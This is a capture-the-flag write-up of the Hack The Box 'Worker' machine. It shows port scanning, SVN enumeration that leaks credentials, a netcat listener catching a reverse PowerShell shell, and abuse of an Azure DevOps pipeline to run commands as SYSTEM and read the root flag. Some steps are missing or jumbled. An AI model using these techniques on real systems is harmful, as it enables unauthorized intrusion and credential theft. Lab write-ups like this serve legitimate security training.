root@kali:~# nmap -sV -v -p- --min-rate=10000 10.10.10.203 PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 3690/tcp open svnserve Subversion 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
web
then browser to the following url
1
http://10.10.10.203/
shows us a default IIS webpage:
svnserve Subversion
looking around and found the following website:
SVN Commands Cheat Sheet
With this article we should be able to enumerate this service
1 2 3
root@kali:~# svn list svn://10.10.10.203 dimension.worker.htb/ moved.txt
time to download those files
1 2 3 4 5 6 7 8 9 10
root@kali:~/hackthebox/machine/worker# svn export svn://10.10.10.203/moved.txt A moved.txt 完成导出。 root@kali:~/hackthebox/machine/worker# ls moved.txt root@kali:~/hackthebox/machine/worker# cat moved.txt This repository has been migrated and will no longer be maintaned here. You can find the latest version at: http://devops.worker.htb
// The Worker team :)
seen a new host name so also should add that to our /etc/hosts
1
http://devops.worker.htb
look at the dimensions page, find again a lot sub domains:
Added note that repo has been migrated ------------------------------------------------------------------------ r4 | nathen | 2020-06-20 09:50:20 -0400 (六, 2020-06-20) | 1 行
Moving this repo to our new devops server which will handle the deployment for us ------------------------------------------------------------------------ r3 | nathen | 2020-06-20 09:46:19 -0400 (六, 2020-06-20) | 1 行
root@kali:~/hackthebox/machine/worker# svn export -r 2 svn://10.10.10.203 –force A –force A –force/deploy.ps1 A –force/dimension.worker.htb A –force/dimension.worker.htb/LICENSE.txt A –force/dimension.worker.htb/README.txt A –force/dimension.worker.htb/assets A –force/dimension.worker.htb/assets/css A –force/dimension.worker.htb/assets/css/fontawesome-all.min.css A –force/dimension.worker.htb/assets/css/main.css A –force/dimension.worker.htb/assets/css/noscript.css A –force/dimension.worker.htb/assets/js A –force/dimension.worker.htb/assets/js/breakpoints.min.js A –force/dimension.worker.htb/assets/js/browser.min.js A –force/dimension.worker.htb/assets/js/jquery.min.js A –force/dimension.worker.htb/assets/js/main.js A –force/dimension.worker.htb/assets/js/util.js A –force/dimension.worker.htb/assets/sass A –force/dimension.worker.htb/assets/sass/base A –force/dimension.worker.htb/assets/sass/base/_page.scss A –force/dimension.worker.htb/assets/sass/base/_reset.scss A –force/dimension.worker.htb/assets/sass/base/_typography.scss A –force/dimension.worker.htb/assets/sass/components A –force/dimension.worker.htb/assets/sass/components/_actions.scss A –force/dimension.worker.htb/assets/sass/components/_box.scss A –force/dimension.worker.htb/assets/sass/components/_button.scss A –force/dimension.worker.htb/assets/sass/components/_form.scss A –force/dimension.worker.htb/assets/sass/components/_icon.scss A –force/dimension.worker.htb/assets/sass/components/_icons.scss A –force/dimension.worker.htb/assets/sass/components/_image.scss A –force/dimension.worker.htb/assets/sass/components/_list.scss A –force/dimension.worker.htb/assets/sass/components/_table.scss A –force/dimension.worker.htb/assets/sass/layout A –force/dimension.worker.htb/assets/sass/layout/_bg.scss A –force/dimension.worker.htb/assets/sass/layout/_footer.scss A –force/dimension.worker.htb/assets/sass/layout/_header.scss A –force/dimension.worker.htb/assets/sass/layout/_main.scss A –force/dimension.worker.htb/assets/sass/layout/_wrapper.scss A –force/dimension.worker.htb/assets/sass/libs A –force/dimension.worker.htb/assets/sass/libs/_breakpoints.scss A –force/dimension.worker.htb/assets/sass/libs/_functions.scss A –force/dimension.worker.htb/assets/sass/libs/_mixins.scss A –force/dimension.worker.htb/assets/sass/libs/_vars.scss A –force/dimension.worker.htb/assets/sass/libs/_vendor.scss A –force/dimension.worker.htb/assets/sass/main.scss A –force/dimension.worker.htb/assets/sass/noscript.scss A –force/dimension.worker.htb/assets/webfonts A –force/dimension.worker.htb/assets/webfonts/fa-brands-400.eot A –force/dimension.worker.htb/assets/webfonts/fa-brands-400.svg A –force/dimension.worker.htb/assets/webfonts/fa-brands-400.ttf A –force/dimension.worker.htb/assets/webfonts/fa-brands-400.woff A –force/dimension.worker.htb/assets/webfonts/fa-brands-400.woff2 A –force/dimension.worker.htb/assets/webfonts/fa-regular-400.eot A –force/dimension.worker.htb/assets/webfonts/fa-regular-400.svg A –force/dimension.worker.htb/assets/webfonts/fa-regular-400.ttf A –force/dimension.worker.htb/assets/webfonts/fa-regular-400.woff A –force/dimension.worker.htb/assets/webfonts/fa-regular-400.woff2 A –force/dimension.worker.htb/assets/webfonts/fa-solid-900.eot A –force/dimension.worker.htb/assets/webfonts/fa-solid-900.svg A –force/dimension.worker.htb/assets/webfonts/fa-solid-900.ttf A –force/dimension.worker.htb/assets/webfonts/fa-solid-900.woff A –force/dimension.worker.htb/assets/webfonts/fa-solid-900.woff2 A –force/dimension.worker.htb/images A –force/dimension.worker.htb/images/bg.jpg A –force/dimension.worker.htb/images/overlay.png A –force/dimension.worker.htb/images/pic01.jpg A –force/dimension.worker.htb/images/pic02.jpg A –force/dimension.worker.htb/images/pic03.jpg A –force/dimension.worker.htb/index.html
then look at the deploy.ps1 we see some credentials:
root@kali:~# nc -lvp 4445 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::4445 Ncat: Listening on 0.0.0.0:4445 Ncat: Connection from 10.10.10.203. Ncat: Connection from 10.10.10.203:50819. Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.
PS W:\svnrepos\www\conf> type passwd type passwd ### This file is an example password file for svnserve. ### Its format is similar to that of svnserve.conf. As shown in the ### example below it contains one section labelled [users]. ### The name and password for each user follow, one account per line.
after some enum, we can’t privesc to root with robisl, (or maybe there a way but didn’t find anything usefull)
come back on the website devops.worker.htb and tryied to connect as robisl using wolves11 as password.
We are connected !
And the repo isn’t the same but nothing really usefull inside it. (no password stored, etc…)
But we can see we can create pipeline.
create a basic project.
go to pipeline, start one, then take Azure Repos git, select the basic default option (partunlimited)
then pick “Starter pipeline” in the different project list.
on the config script we can see we can execute command. okay let’s see what’s we are:
replace echo Hello, world by whoami.
And remove the line:
1
pool: 'Default'
because the server don’t have pool agent so the build will fail and we won’t have code execution.
now it’s all good press Save and run and let’s wait the build finish.
when looking at the log (script log) , we can see we run as
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
##[section]Starting: Run a one-line script ============================================================================== Task : Command line Description : Run a command line script using Bash on Linux and macOS and cmd.exe on Windows Version : 2.151.1 Author : Microsoft Corporation Help : https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/command-line ============================================================================== Generating script. Script contents: whoami ========================== Starting Command Output =========================== ##[command]"C:\Windows\system32\cmd.exe" /D /E:ON /V:OFF /S /C "CALL "w:\agents\agent11\_work\_temp\b1a4ec90-9e94-4e5f-9074-a565cefb9956.cmd"" nt authority\system ##[section]Finishing: Run a one-line script
We run the code execution as root!!!
just create another pipeline and change script command to
1
type C:\Users\Administrator\Desktop\root.txt
and we got the root flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
##[section]Starting: Run a one-line script ============================================================================== Task : Command line Description : Run a command line script using Bash on Linux and macOS and cmd.exe on Windows Version : 2.151.1 Author : Microsoft Corporation Help : https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/command-line ============================================================================== Generating script. Script contents: type C:\Users\Administrator\Desktop\root.txt ========================== Starting Command Output =========================== ##[command]"C:\Windows\system32\cmd.exe" /D /E:ON /V:OFF /S /C "CALL "w:\agents\agent11\_work\_temp\389e4fa6-cf26-41d6-9dc5-7d09979f7b00.cmd"" 43ebb4cb30276f0c2e77511c1d5b69d4 ##[section]Finishing: Run a one-line script
this is a ctf,we can stop at here now.
or add a reverse shell command if you want to connect to your local machine.